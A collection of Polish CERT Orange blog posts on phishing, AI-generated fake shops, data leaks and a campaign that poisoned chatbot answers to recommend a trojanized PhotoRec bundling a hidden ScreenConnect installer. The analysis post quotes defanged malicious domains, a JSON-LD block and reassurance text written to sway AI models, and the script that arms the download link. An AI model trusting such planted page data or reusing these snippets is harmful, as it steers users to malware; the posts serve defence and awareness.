• zawierające treści wywołujące w Tobie silne emocje (w tym przypadku związane z potencjalnymi konsekwencjami finansowymi)

Tego typu wiadomości traktuj z założenia jako fałszywe.

Jeśli wiesz, że chcesz wejść na stronę rządową – czy chodzi o rozliczenie PIT, czy w jakiejkolwiek innej sprawie – to nawet jeśli przypomina ona szatą graficzną znane Ci serwisy, sprawdź dokładnie adres w pasku przeglądarki.

• pamiętaj, że adresy serwisów rządowych kończą się na .gov.pl
  • zachowaj ostrożność przy adresach udających strony finansowe (hxxp://inforach24[.]net – przykład z 2022 roku)
  • bądź czujny/a i nie daj się oszukać próbom podszycia pod serwisy rządowe (hxxps://finansowa-gov-pl[.]online, hxxps://govpl[.]website – przykłady z 2023)

Nabierz nawyku sprawdzania adresu strony, na której wpisujesz login i hasło do banku. Zapamiętaj go i podawaj te dane wyłącznie na stronie Twojego banku.

Przypominamy raz jeszcze: adresy stron logowania do serwisów rządowych zawsze kończą się na .gov.pl. Przykładowo:

• login.mf.gov.pl (logowanie do serwisu e-PIT)
• login.mobywatel.gov.pl
• login.gov.pl

Jeśli logujesz się do serwisów rządowych za pośrednictwem e-bankowości, zawsze zostajesz przekierowany/a na stronę Twojego banku – upewnij się, sprawdzając adres.

Nie zaszkodzi też dodać witryny Twojego banku do ulubionych w przeglądarce – choć akurat w przypadku tego oszustwa to nie zadziała. Do serwisów rządowych najlepiej loguj się przy użyciu aplikacji mObywatel. To ograniczy możliwość podszycia, a w przypadku, gdy strona nie będzie dawać takiej możliwości – będziesz mieć pewność, że to oszustwo.

A w międzyczasie CyberTarcza Orange trzyma rękę na pulsie. Jeśli masz telefon w sieci Orange – robimy wszystko, by rozpoznane złośliwe SMS-y do Ciebie nie dotarły. A niezależnie od tego: blokujemy domeny powiązane z oszustwami.

The post Ostatnie dni na rozliczenie PIT – uważaj na oszustów appeared first on CERT Orange.

W pierwszym kwartale minionego roku mogliśmy obserwować kampanię fałszywych sklepów internetowych z wykorzystaniem AI do generowania obrazów i przy wykorzystaniu popularnych platform ecommerce i dropshippingu. Kampania bardzo podobnych sklepów została zaobserwowana w Polsce, Hiszpanii, Portugalii i Holandii.

Zacznijmy jednak od scenariusza. W serwisie Facebook mnożyły się posty sponsorowane, kuszące bardzo dużymi przecenami. Rzekome powody się powtarzały a były to np. choroba właściciela, niska rentowność, brak czasu lub nawet zniszczenie witryny sklepowej przez samochód.

Fanpage w serwisie Facebook miał przeważnie po kilka tysięcy obserwujących co zwiększało jego wiarygodność. Wśród obserwujących są zarówno prawdziwe jak i fake-owe konta. Takie fanpage to przeważnie tzw. „Wygrzane” profile, czyli przejęte np. poprzez wycieki lub phishing. Sposób wyświetlania postów sponsorowanych w serwisie Facebook ukrywa komentarze ostrzegające przed oszustwem lub wyświetla tylko pozytywne opinie co pomaga wprowadzić potencjalne ofiary w błąd. Więcej o wykorzystywaniu mechanizmów reklamowych Facebook-a, do wspierania oszustw jest tutaj.

Fanpage są ze sobą niekiedy powiązane np. Liwia Fashion Outlet i Liwia Fashion Butik. Zdjęcia profilowe jak i w galeriach są wygenerowane przez AI. Niekiedy są niespójne jak np. witryna tego samego sklepu, która różni się szczegółami.

Ciekawostka: o ile nie zawierały metadanych, to niekiedy nazwą pliku był prompt. Np. Nazwa poniższego pliku po pobraniu to: „a couple in their middle 50s standing in front of the store”.

W celu podniesienia wiarygodności fałszywe sklepy zawierały również zdjęcia z brandingiem np. Toreb zakupowych.

W samym sklepie produkty prezentowane na modelach są rownież wytworem sztucznej inteligencji. Należy zwrócić uwagę na idealnie powtarzane pozy a nawet ułożenie ubrań.

Do szybkiego zakupu miały zachęcać duże rabaty, ostatnie sztuki i promocje za każdy kolejny towar w koszyku. Proces zakupu pozwalał na płatność kartą lub poprzez BLIK. Sklep widoczny na transakcji pokrywał się z jego nazwą.

Dalej obserwowano kilka scenariuszy. Jednym z nich był brak dostawy towaru lub dostarczenie towaru znacznie odbiegającego od jakością od zdjęć w sklepie i przede wszystkim z bardzo długim okresem dostawy. Wskazuje to na oszustwo finansowe i dropshipping.

Jakie były wspólne cechy tych sklepów?

Wiele z nich miało w nazwie jak i domenie nazwę miasta np. krawiec-warszawa[.]com, violettawarszawa[.]com, minamosawarszawa[.]com, liwiamoda-krakow[.]com, gdanskmoda[.]com. Każdy fanpage zawierał zdjęcia butików, wnętrz, modeli a także brandingu. Wspólną cechą była kolorystyka i styl zdjęć. Wskazuje to na używanie podobnych promptów i szablonowego podejścia przy generowaniu zdjęć.

Wszystkie sklepy postawione były na platformie Shopify, która jest bardzo popularna. IP serwerów kieruje nas do Kanady pod ISP Shopify, co oznacza, że są hostowane na ich serwerach.

W niektórych przypadkach wygaśnięte sklepy kierują do marketplace np. Shop.app, (należącego do Shopify) gdzie możemy znaleźć spotkane wcześniej produkty, które to kierują nas z powrotem do fałszywych sklepów działających dokładnie z tym samym szablonem, mechanizmami i produktami. Ewentualnie umożliwiają dokończenie zakupu za pośrednictwem marketplace shop.app. Po dodaniu produktów do koszyka, jego finalizacja odbywa się w domenie marketplace.

Przeważnie zakup nie wymaga logowania lub rejestracji poza przypadkami gdzie zakup finalizowany jest powrotem w platformie shop.app.

Wspólnymi cechami, które dowodzą, że są ze sobą powiązane to błędy. Można je podzielić na kilka kategorii.

Przede wszystkim tłumaczenia na j. Polski, które są najprawdopodniej z j. Angielskiego. Świadczą o tym przede wszystkim opisy ze strony „właścicieli”.

„Drodzy Klienci, prowadzę mały rodzinny butik w Krakowie razem z moją córką Oliwią. Z wielką miłością wybieram nasze kolekcje stylowa odzież i osobiste doradztwo, jak w prawdziwej rodzinnej firmie.”

Podobne błędy gramatyczne znajdujemy w stopce:
„Masz pytania? Prosimy o kontakt z naszym działem obsługi klienta za pośrednictwem strony kontaktowej lub bezpośrednio przez e-mail pod adresem: info@liwiamoda.com naszą standardową odpowiedzią jest 6-12 w południe w godzinach otwarcia.” Wśród błędów związanych z tłumaczeniem możemy znaleźć błędy nie tylko gramatyczne ale i merytoryczne. Wskazujące na brak weryfikacji przy tworzeniu treści:

Sklepy są utworzone w bardzo podobnym stylu (graficznym, ikon) oraz identycznym układzie sekcji na stronie głównej i stronach produktowych.

Wszystkie kuszą promocjami i dodatkowymi rabatami za powiększenie koszyka zakupowego.

Każdy ze sklepów nie posiadał danych teleadresowych, zaś w regulaminach jeśli już to pojawia się ten sam holenderski adres, pod którym nie znajdziemy żadnego z ów sklepów. Niekiedy podane są numery telefonów z holenderskim prefiksem, które również pozostawały bez echa.

Nasilenie tej kampanii przypadało na pierwszy kwartał 2025. Domeny były rejestrowane nawet na kilka dni przed uruchomieniem kampanii sponsorowanych w serwisie Facebook. Scenariusz tego oszustwa jest nadal kontynuowany natomiast ze znikomym lub przeważnie zerowym wykorzystaniem kampanii sponsorowanych a przy użyciu globalnych marketplace jako źródła ruchu.

Chociaż w tym schemacie wykorzystana jest sztuczna inteligencja, to trudno szukać jej zaawansowanego zastosowania. Ogranicza się ono do generowania zdjęć i opisów produktów. Czasem bardzo nieudolnych, a niekiedy nawet zabawnych. Schemat oszustwa, w którym kampania sponsorowana w serwisie Facebook prowadzi do nieistniejącego sklepu internetowego, nie jest nowością. Widać jednak, że wykorzystanie AI to stopniowa automatyzacja, ale i możliwość postawienia „sklepu” z dużą ilością asortymentu, a przede wszystkim łudząco prawdziwymi zdjęciami witryn, wnętrz, a nawet brandingu.

Jak nie dać się oszukać?

Pamiętaj, aby zawsze zweryfikować sklep, którego nie znasz, zanim dokonasz pierwszego zakupu!

• Zadzwoń lub wyślij e-maila do sklepu, który sprawdzasz.
• Zweryfikuj adres, np. w Google Street View.
• Zajrzyj do regulaminów, czy zawierają pełne dane firmy, tę zaś sprawdź w bazie CEIDG.
• Dodatkowym, ale nie ostatnim elementem jest zweryfikowanie, kiedy domena została zarejestrowana.

Najważniejszy jednak jest nasz zdrowy rozsądek. Świetna promocja w sklepie, który zamyka się po 10 latach, a nie ma nawet adresu (bo taki komunikat zawierał jeden z przypadków), to oszustwo i powinna zapalić się nam czerwona lampka.

The post Jak oszuści wykorzystują AI do tworzenia fałszywych sklepów w internecie appeared first on CERT Orange.

W opisywanej sytuacji użytkownik poszukiwał narzędzia do odzyskiwania plików przypadkowo skasowanych z karty pamięci. ChatGPT podpowiedział, by skorzystać z oprogramowania PhotoRec. Poproszony o podanie linku do pobrania, model zamiast prawdziwej strony www.cgsecurity[.]org, zwrócił adres photorec[.]cc. Strona ta serwowała poszukiwany program z dołączonym narzędziem ScreenConnect, który pozwolił przestępcom na przejęcie kontroli nad komputerem ofiary.

Poniżej omówimy sposoby na manipulację odpowiedziami modelu AI, przebieg infekcji, użycie legalnych narzędzi RMM (Remote Monitoring and Management) przez przestępców, a także inne strony i programy serwowane w ramach tej samej kampanii.

SEO poisoning oraz LLM poisoning

Przestępcy od lat stosują SEO poisoning: optymalizację złośliwych stron pod wyszukiwarki, aby w wynikach pojawiały się wyżej niż ich prawdziwe odpowiedniki. Kampania, którą analizujemy, to ewolucja tego podejścia. To tzw. LLM poisoning – optymalizacja stron nie tylko pod algorytm PageRank, ale także pod sposób, w jaki modele językowe pobierają i oceniają wiarygodność treści.

Różnica w skuteczności jest istotna. Wyszukiwarka zwraca listę wyników, a użytkownik sam ocenia i wybiera konkretny z nich. Model językowy podaje jedną odpowiedź sformułowaną pewnym tonem, często z pominięciem alternatyw. Jeśli model zostaje wprowadzony w błąd, użytkownik nie ma żadnej wskazówki, że coś jest nie tak.

JSON-LD

W kodzie strony umieszczono blok JSON-LD (JavaScript Object Notation for Linked Data), czyli specjalną strukturę przeznaczoną dla robotów indeksujących strony oraz modeli AI. Dane w niej zawarte nie są wyświetlane użytkownikowi przez przeglądarkę.

<!-- Schema.org JSON-LD: SoftwareApplication -->
<script type="application/ld+json">
 {
              "@context": https://schema.org,
              "@type": "SoftwareApplication",
              "name": "PhotoRec",
              "applicationCategory": "UtilitiesApplication",
              "operatingSystem": "Windows",
              "offers": {
                            "@type": "Offer",
                            "price": "0",
                            "priceCurrency": "USD"
              },
              "description": "Free download PhotoRec: recover lost photos, videos, and files from damaged or formatted drives. Open-source data recovery.",
              "url": https://photorec.cc/
}
</script>

Blok ten komunikuje robotowi indeksującemu oraz modelowi AI:

PhotoRec to darmowa aplikacja Windows dostępna na stronie photorec.cc

Model nie weryfikuje tych informacji, uznając je za zaufany opis strony. Dzięki czemu może ona się pojawiać w odpowiedziach na zapytania o tę aplikację, bądź funkcjonalność.

Proaktywne wyjaśnienie wątpliwości związanych z bezpieczeństwem

Modele językowe podczas rekomendowania oprogramowania mogą dodać ostrzeżenie lub odmówić podania linku. Dzieje się tak np. wtedy, gdy na publicznych forach będą się pojawiały posty z wątpliwościami związanymi np. z komunikatami z Windows Defendera. Oszuści to przewidzieli. Stworzyli na fałszywej stronie sekcję „Trust & Security”, która celowo proaktywnie wyjaśnia te obawy:

PhotoRec is a data recovery utility. It does not steal data, encrypt files for ransom, or install backdoors. Some security software may flag it heuristically – the same capability can be abused by malware, so AV tools are cautious.

To nie jest treść przeznaczona dla użytkownika. Ona ma trafić do modelu. Jest napisana tak, aby odpowiadała na pytania, które model mógłby zadać przed udzieleniem rekomendacji. Ewentualne mógłby zadać użytkownik, gdy już połknie haczyk i rozpocznie instalację. Na ironię, strona odsyła nawet do prawdziwej strony CGSecurity i podaje autentyczne sumy kontrolne, wiedząc, że i tak nikt nie będzie tego weryfikował.

Ukrywanie prawdziwych URL

Przestępcy wykorzystują fakt, że roboty nie wykonują JavaScript podczas indeksowania treści. Widzą one wyłącznie statyczny kod. Przycisk “Download PhotoRec” na stronie nie prowadzi do pobrania malware:

<a href="#" class="js-direct-download inline-flex items-center px-6 py-3 rounded-lg font-semibold bg-emerald-600 text-white hover:bg-emerald-500 shadow-lg transition">Download PhotoRec</a>

Jest on uzbrajany dopiero po załadowaniu strony:

function() {
      var BASE_URL = 'https://direct-download.gleeze';
      var PROGRAM_NAME = 'photorec';
      function randomString() {
        return Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
      }
      var downloadUrl = BASE_URL + '/' + PROGRAM_NAME + '/' + randomString();
      document.querySelectorAll('.js-direct-download').forEach(function(el) { el.href = downloadUrl; });
    }

W kolejnym kroku kod JS buduje URL do pobrania składając go z domeny, nazwy programu i losowego ciągu znaków, a następnie wstawia go do przycisku, który w momencie ładowania strony był nieaktywny. Działanie takie utrudnia rozpoznanie witryny jako potencjalnie niebezpiecznej. W momencie ładowania URL nie zawiera ona bowiem odnośników do domen o wątpliwej reputacji.

Infekcja

Dropper

Na stronie znajdował się przycisk do pobrania oprogramowania prowadzący po uzbrojeniu do hxxps://direct-download.gleeze[.]com/photorec/{LOSOWY_CIĄG}. Po kliknięciu pobierał się plik PhotoRec.zip.

Jednym z plików powstałych po rozpakowaniu jest Assets/x86/Data/vcredist_x64.dll. Nazwa może sugerować, że jest to element pakietu Microsoft Visual C++ Redistributable. W rzeczywistości to instalator MSI strojanizowanej wersji oprogramowania ConnectWise ScreenConnect.

$ file vcredist_x64.dll

vcredist_x64.dll: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Code page: 1252, Subject: Default, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {C6103F8E-E897-77EE-9B87-5148D59F157D}, Create Time/Date: Tue Apr  8 19:37:04 2025, Last Saved Time/Date: Tue Apr  8 19:37:04 2025, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2, Title: Microsoft Visual C++ 2015-2024 Redistributable Installer, Author: Microsoft

Plik jest rozpoznawany jako złośliwy przez ponad 20 skanerów AV:

Drugim interesującym plikiem jest Assets/x86/Data/vcredist_x86.dll. Tu również nazwa sugeruje bibliotekę, wchodzącą w skład Microsoft Visual C++ Redistributable. W rzeczywistości jest to zwykły program wykonywalny:

$ file vcredist_x86.dll

vcredist_x86.dll: PE32 executable (GUI) Intel 80386, for MS Windows, 11 sections

Analiza pliku wykazała, że mamy do czynienia z instalatorem przygotowanym z użyciem narzędzia “Actual Installer” – darmowego kreatora samorozpakowujących się instalatorów. Pliki tworzone przez ten instalator to nic innego jak oryginalny program PhotoRec – hashe zgadzają się ze skrótami plików pobranych z oficjalnej strony producenta.

Oprócz ww. plików udających DLL VC++ Redist, archiwum zawiera także „PhotoRec 7.3.exe”, który jest uruchamiany bezpośrednio przez użytkownika. Ładuje on bibliotekę source/autorun.dll, która wykonuje m.in. następujące operacje:

1. Kopiuje Assets\x86\Data\vcredist_x64.dll do pliku .msi i uruchamia przez msiexec.exe /i – instalacja ScreenConnect.
2. Kopiuje Assets\x86\Data\vcredist_x86.dll do pliku .exe i uruchamia w ten sposób instalator właściwego PhotoRec.

ScreenConnect

Instalator ScreenConnnect instaluje m.in. następujące moduły:

• ScreenConnect.ClientService.dll – klient usługi obsługujący zdalne połączenia
• ScreenConnect.WindowsBackstageShell.exe – remote shell
• ScreenConnect.WindowsFileManager.exe – zdalny dostęp do plików na dysku
• ScreenConnect.WindowsAuthenticationPackage.dll – pakiet uwierzytelniania, który potencjalnie może przechwytywać dane logowania

Mając tak szeroki dostęp do systemu atakujący jest w stanie wykradać pliki z komputera, przechwytywać wpisywane hasła albo doinstalowywać kolejne moduły/oprogramowanie. Tak było w przypadku naszego użytkownika, gdzie atakujący doinstalował koparkę kryptowalut SRBMiner-MULTI.

Co ważne, samo oprogramowanie ConnectWise / ScreenConnect nie jest złośliwe. To legalne narzędzie klasy RMM (Remote Monitoring and Management), wykorzystywane m.in. przez pomoc techniczną do zdalnego wsparcia użytkowników. Przestępcy posługują się legalnym oprogramowaniem, ale konfigurują je w sposób pozwalający na wykorzystanie w złośliwym celu.

Przykładowo w pliku konfiguracyjnym app.conf wyłączają wszelkie formy powiadomień, które informują klienta o trwającej sesji pomocy zdalnej, takie jak np. baner, dymek, powiadomienie na pasku obok zegarka, ukrycie tapety. Dzięki temu zdalne połączenie w trakcie którego przestępca zarządza maszyną pozostaje niezauważone przez użytkownika. Co ciekawe, ze względów bezpieczeństwa i dla zapewnienia transparentności, od wersji 25.4 ScreenConnect nie posiada już możliwości takiego ukrycia. Przestępcy korzystają jednak z wersji 25.2, gdzie ta opcja jeszcze istniała.

Aplikacja używana jest w trybie on-premise. Przestępcy posługują się instancją o identyfikatorze „ef674fa29e83f07b” wystawioną na domenie directdownload[.]icu.

Kampania

PhotoRec to niejedyny program, pod który podszywali się przestępcy, a photorec.cc to niejedyna strona, z której można go pobrać. Domena photorec[.]cc rozwiązuje się na adres 176.96.136.211. Wyszukując inne domeny na tym samym IP znajdujemy dziesiątki witryn serwujących strojanizowane wersje niemal 20 aplikacji:

Każda ze stron wizualnie wygląda zupełnie inaczej. Nawet jeśli kilka witryn serwuje to samo oprogramowanie, różnią się one wyglądem między sobą. Poniżej przykłady 3 serwisów z podrobionymi wersjami HWMonitor.

Pomimo pozornych różnic strony zbudowane są w ten sam sposób. Współdzielą znaczną część kodu, posiadają wersje w tych samych 5 językach, w identyczny sposób ukrywają URL i uzbrajają przycisk do pobrania. We wszystkich przypadkach malware pobierany jest z tego samego miejsca: direct-download.gleeze[.]com. Domena rozwiązuje się na ten sam adres IP, gdzie stoją wszystkie wymienione strony.

Również samo oprogramowanie serwowane na stronach tworzone jest w taki sam sposób. Struktura katalogów jest w większości przypadków identyczna. Plik instalatora ScreenConnect ukrytego w vcredist_x64.dll również w większości przypadków jest identyczny. W niektórych przypadkach stosowana jest inna instancja ScreenConnect: “03be24cdb30f3914” wystawiona na domenie rasedy[.]com.

Podsumowanie

W omawianej kampanii przestępcy korzystają z legalnych narzędzi RMM, konfigurując je w sposób umożliwiający ukrycie aktywności przed użytkownikiem, co zwiększa skuteczność ataku. Kampania obejmuje kilkadziesiąt stron internetowych, które wizualnie różnią się od siebie, ale w rzeczywistości współdzielą znaczną część kodu i serwują malware z tego samego serwera. Wykorzystanie technik SEO poisoning oraz LLM poisoning pozwala na manipulację wynikami wyszukiwarek i modeli AI, co ułatwia wprowadzenie użytkowników w błąd i zwiększa szansę na pobranie złośliwego oprogramowania.

The post Dystrybucja strojanizowanego oprogramowania RMM z wykorzystaniem modeli AI appeared first on CERT Orange.

wpis gościnny

Najbardziej konkretny wniosek? Bez zasilania nie działa nic. To właśnie energia — nie cyberatak — była wskazywana jako najbardziej krytyczne „wąskie gardło” odporności. W dyskusji padł też przykład z powodzi w 2024 roku: infrastruktura była zabezpieczona, ale kluczowe stało się fizyczne dostarczenie baterii do stacji bazowych. W kryzysie technologia to za mało — liczy się zdolność działania w terenie.

Z prezentacji ekspertów Orange wybrzmiał też drugi ważny wątek: sieć przestała być tylko infrastrukturą. Staje się systemem operacyjnym państwa. To zmienia wszystko. Nie chodzi już o to, czy działa szybko. Kluczowe jest to, czy:

• potrafi działać w trybie ograniczonym
• odtworzy/przywróci podstawowe usługi w czasie liczonym w minutach, nie godzinach
• wspiera decyzje, a nie tylko przesyła dane

Orange pokazał tu konkret: ponad 100 zabezpieczonych krytycznych punktów sieci i podejście, w którym odporność nie jest deklaracją, tylko czymś, co się testuje – także poprzez kontrolowane zakłócenia.

Trzeci wniosek dotyczy danych: skala zaczyna mieć znaczenie operacyjne. Przy miliardach interakcji dziennie dane przestają być raportem „po fakcie”. Zaczynają działać jako system wczesnego ostrzegania – wykrywający anomalie, nietypowe zachowania i potencjalne zagrożenia, zanim staną się incydentem.

Kilka rzeczy, które najmocniej wybrzmiały w całości wydarzenia:

• współpraca to warunek, nie dodatek – wojsko, operatorzy, nauka i administracja muszą działać razem
• zasilanie pozostaje fundamentem – bez energii nie działa żadna warstwa cyfrowa
• sieć musi umieć działać w trybie degradacji kontrolowanej
• odporność trzeba ćwiczyć, nie tylko planować
• decyzje są równie krytyczne jak infrastruktura – blackout paraliżuje jedno i drugie

Najważniejszy wniosek jest jednak prostszy niż technologia: odporność cyfrowa nie powstaje w jednej organizacji. Powstaje wtedy, gdy infrastruktura, dane i decyzje zaczynają działać razem — także wtedy, gdy warunki przestają być standardowe.

Zapoznaj się z szerszą relacją naszego partnera medialnego CyberDefence24: Jak Polska może się przygotować na cyfrowy blackout?

Weronika Nowak-Kawalec
liderka komunikacji technologicznej, Hub Transferu Innowacji

The post Czy Polska jest gotowa na cyfrowy blackout? Najważniejsze wnioski po WAT ICT Days którego partnerem było Orange Polska appeared first on CERT Orange.

W obiegu funkcjonują już nie tylko pojedyncze bazy, lecz ogromne, wielowarstwowe zbiory danych, które bywają uzupełniane, łączone i odsprzedawane dalej przez grupy przestępcze. Cyberprzestępcy nie muszą już włamywać się do systemów – coraz częściej korzystają z tego, co już wyciekło. A tego jest więcej, niż większość użytkowników chciałaby przypuszczać.

Co szczególnie niepokojące, dane te wciąż bywają aktualne. Te same hasła używane latami, te same adresy e-mail powiązane z wieloma usługami. To sprawia, że nawet stare naruszenia mogą prowadzić do bardzo realnych konsekwencji dziś. W praktyce oznacza to jedno: Twoje dane mogły wyciec dawno temu… ale zagrożenie jest całkowicie aktualne.

Czym są stealery i co kradną z urządzeń

Gdy mówimy o wyciekach danych, nie sposób nie wspomnieć o stealerach. Jest to złośliwe oprogramowanie, które nie kradnie jednej bazy, lecz „wyciąga” komplet informacji bezpośrednio z urządzeń użytkowników. Hasła, zapisane sesje, pliki cookie, historia przeglądania – wszystko, co pozwala nie tylko przejąć konto, ale też poznać ofiarę bliżej. Dzięki kradzieży profili przeglądarek, można wówczas poznać jej nawyki, a nawet poniekąd jej przeszłość.

Choć wiele z tych zjawisk w 2025 roku miało charakter globalny, ich skutki coraz wyraźniej odczuwamy lokalnie. Dane obywateli regularnie pojawiają się w wyciekach, a nawet mniejsze incydenty – zawierające np. numery PESEL – mogą prowadzić do poważnych nadużyć, w tym kradzieży tożsamości czy oszustw celowanych.

Jak ograniczyć ryzyko wycieku naszych danych

To prowadzi do niewygodnego wniosku: trzeba zakładać, że część naszych danych może już krążyć w sieci. Nie oznacza to jednak bezradności. Jednym z najważniejszych zabezpieczeń pozostaje uwierzytelnianie dwuskładnikowe (2FA). Nawet jeśli hasło trafi w niepowołane ręce, dodatkowa warstwa ochrony może skutecznie utrudnić przejęcie konta.

Warto jednak pamiętać, że 2FA nie jest jedynym rozwiązaniem. Równie ważne są:

• używanie unikalnych haseł do różnych usług,
• regularna zmiana haseł w ważnych kontach,
• korzystanie z menedżera haseł,
• włączenie usługi Hasło Alert, by sprawdzić, czy jakiś wyciek danych zawiera Twoje hasło
• ostrożność wobec podejrzanych wiadomości i stron logowania,
• monitorowanie aktywności na kontach i reagowanie na nietypowe logowania.

Jeśli chcesz lepiej zrozumieć skalę zjawiska, mechanizmy stojące za współczesnymi wyciekami oraz ich realne konsekwencje — zarówno globalne, jak i lokalne — zajrzyj do pełnej wersji raportu CERT Orange Polska za 2025 rok, w którym opisujemy obserwowane trendy i zagrożenia.

The post Wyciek danych to już nie incydent, lecz długotrwałe zagrożenie appeared first on CERT Orange.

Tego typu kampanie phishingowe najczęściej dostarczane są przy wykorzystaniu wiadomości SMS, co opisywaliśmy m.in. w Raporcie CERT Orange Polska 2025. Tym razem do naszego zespołu trafił również e-mail phishingowy wysłany przez oszustów, widoczny na grafice tytułowej.

Wyłudzenie danych karty

Dlaczego na wielu internautów to działa? Oszuści bazują na pośpiechu, fakcie iż mogą trafić na kogoś, kto faktycznie czeka na paczkę oraz na niskiej kwocie rzekomej dopłaty. Oto co dzieje się w kolejnych krokach:

Po serii przekierowań trafimy na stronę hxxps://74-161-43-28.cprapid[.]com/pl/update.php?[20-znakowy hash]

Sprawdzenie numeru przesyłki w systemie DPD potwierdza, że paczka o takim numerze nigdy nie istniała. Co ciekawe, o ile witryna pokazuje, iż paczka ma znajdować się w centralnym magazynie w „Warsaw” – ruchoma grafika widoczna m.in. na pierwszym zrzucie ekranu pokazuje… Toruń.

Co się dzieje, gdy „zaplanujemy nową dostawę”? Drobna opłata za rzekomą wysyłkę to socjotechniczna sztuczka, mająca osłabić naszą czujność. Bo przecież skoro ktoś chce od nas 1-2 złote to nic groźnego, prawda?

Tymczasem jeśli damy się oszukać, w kolejnym kroku zobaczymy monit o podanie naszych dany adresowych i numeru telefonu. Po co? Z dwóch powodów. Po pierwsze – żeby uwiarygodnić podszycie pod kuriera DPD. Po drugie – te dane mogą się przydać oszustowi do kolejnych phishingów. (które potem można wykorzystać do kolejnych phishingów) myśląc, że trafią do kuriera DPD… No i oczywiście w kolejnym kroku najważniejsza informacja – dane dotyczące naszej karty płatniczej. Oczywiście okraszone informacjami, że że transakcja jest „Zgodna z PCI DSS”, podlega „Ochronie przed oszustwami” i „3D Secure” (monit o to ostatnie oczywiście się nie pojawi).

Jeśli damy się przekonać, w ramach „płatności dla kuriera DPD” nie zostanie nam ściągnięte ani 1,2 ani 2,05 PLN – oszuści wypłacą z naszej karty tyle, na ile pozwolą im limity. Co ciekawe – opisywany przypadek to jedna z rzadkich sytuacji, w których przestępca nie wykorzystuje danych karty na bieżąco.

Mimo wpisania fałszywych danych otrzymaliśmy informację zwrotną o potwierdzeniu zamówienia. Oznacza to, że dopiero później będą sprawdzać, czy podane przez ofiary dane instrumentów płatniczych są zgodne z prawdą.

Jak nie dać się oszukać „na kuriera DPD”?

Dostajesz SMS-a lub maila od kuriera DPD lub z innej firmy?

• upewnij się, czy czekasz na jakąkolwiek dostawę – to pierwszy krok
• wyszukaj w Google stronę śledzenia paczek danej firmy i wpisz na niej numer paczki z wiadomości – pomoże Ci to zweryfikować, że taka paczka w ogóle istnieje
• szczegóły dotyczące karty płatniczej podawaj wyłącznie na stronach banków, bramek płatności czy potwierdzonych, sprawdzonych sklepów
• czytaj uważnie SMS-y dotyczące transakcji z Twoich kart – to może być SMS od oszustów, którzy mając dostęp do danych karty usiłują właśnie dokonać zakupu; najlepiej korzystaj w tym celu z aplikacji mobilnej Twojego banku
• w razie jakichkolwiek wątpliwości, czy Twoja karta nie jest właśnie nadużywana – natychmiast skontaktuj się z bankiem

Opisywany przypadek to jedna z wielu kampanii phishingowych, podszywających się pod firmy kurierskie. Przestępcy wykorzystują nasze zaufanie do najpopularniejszych marek, dostarczających nasze paczki, a wysyłając kampanie do bardzo wielu użytkowników wzmacniają szansę – a ze strony uczciwych ludzi: ryzyko – na to, że mail, czy SMS dotrze do kogoś, kto faktycznie czeka na paczkę z danej firmy.

The post Fałszywe wiadomości od „kuriera DPD”. Sprawdź, jak nie dać się oszukać appeared first on CERT Orange.

Opisywana kampania jest nadal aktywna. Zamiast na konkretnych adresach i nazwach plików, skupiam się na samym mechanizmie, aby pomóc Wam samodzielnie rozpoznawać podobne zagrożenia w przyszłości.

Chyba każdemu pracującemu w branży IT zdarza się od czasu do czasu pełnić rolę „pogotowia komputerowego” dla rodziny i znajomych. Tak też było w tym przypadku. Ze swoim problemem zgłosił się do mnie Marcin (17 lat, imię zmienione). Opisana przez niego historia zaczyna się nieudaną próbą odzyskania nagrań z karty pamięci, a kończy… instalacją koparki kryptowalut na jego urządzeniu, potencjalnie wykradzionymi ciastkami przeglądarki i koniecznością reinstalacji całego systemu operacyjnego.

To nie był phishing ani podejrzany załącznik z maila. Link pochodził od modelu AI, który polecił go, nazywając w dodatku „bezpiecznym” i „oficjalnym”. Opisuję kampanię, w której przestępcy nie tylko podszywają się pod popularne oprogramowanie, ale celowo konstruują fałszywe strony tak, żeby trafiały do odpowiedzi modeli językowych.

Koparka kryptowalut zamiast szukanego programu

Oddajmy głos Marcinowi:

Wszystko zaczęło się podczas przenoszenia nagrań z karty SD na komputer, kiedy wystąpił błąd zapisu. Ponieważ użyłem funkcji „wytnij” zamiast „kopiuj”, pliki zniknęły z karty, a na dysku pozostały jedynie ich uszkodzone fragmenty. Wiedziałem jednak, że istnieją narzędzia do odzyskiwania takich danych, więc o propozycję najlepszego z nich zapytałem ChatGPT.

Sztuczna inteligencja zasugerowała naszemu rozmówcy kilka rozwiązań. Wybrał PhotoRec. To program o publicznym kodzie, co wzmacnia wiarygodność. Poprosił ChatGPT o link do pobrania i od razu go dostał.

Zasugerowana przez ChatGPT domena (photorec[.]cc) oraz sama strona na pierwszy rzut oka wyglądają wiarygodnie. Strona jest nawet bardziej dopracowana niż oryginał (screeny poniżej) z nowoczesnym designem, pięcioma wersjami językowymi i szczegółowym FAQ.

Marcin, wierząc że ChatGPT jest godny zaufania, pobrał plik i uruchomił instalator.

Program nie zadziałał. Odzyskane filmy wciąż były uszkodzone. Sięgnąłem więc po kolejną aplikację z listy, tym razem pobierając ją z Microsoft Store. Ten program zadziałał bez zarzutu.

Gdy Marcin wrócił do komputera po około godzinie, zobaczył, że Microsoft Defender wyświetla komunikat z pytaniem o dostęp do sieci dla procesu o nazwie SRBMiner-MULTI – popularnej koparki kryptowalut.

Sam jej nie instalowałem, więc byłem pewny, że zrobił to jeden z pobranych wcześniej programów. Sprawdziłem plik instalacyjny PhotoRec w serwisie VirusTotal: został oznaczony jako złośliwy. Zacząłem zgłębiać temat w sieci. Szybko okazało się, że koparka to tylko wierzchołek góry lodowej – trafiłem na złośliwe oprogramowanie, które potrafi wyciągnąć z przeglądarki nie tylko zapisane hasła, ale przede wszystkim aktywne tokeny sesji. To oznaczało, że hakerzy mogli wejść na moje konta bez podawania loginu, całkowicie omijając dwuetapową weryfikację. Kolejne dziesiątki godzin poświęciłem na ręczne wylogowanie każdej sesji, przenoszenie ważnych plików na inny dysk oraz reinstalację całego systemu wraz z BIOS-em.

Jak AI proponuje wirusy

Ponieważ Marcin prowadził konwersację w sesji prywatnej, nie udało się pozyskać oryginalnej rozmowy. Spróbowałem jednak samodzielnie odtworzyć podobny scenariusz. Jak się okazało – z sukcesem…

Jak odzyskać pliki, które przypadkowo skasowałem z karty pamięci.

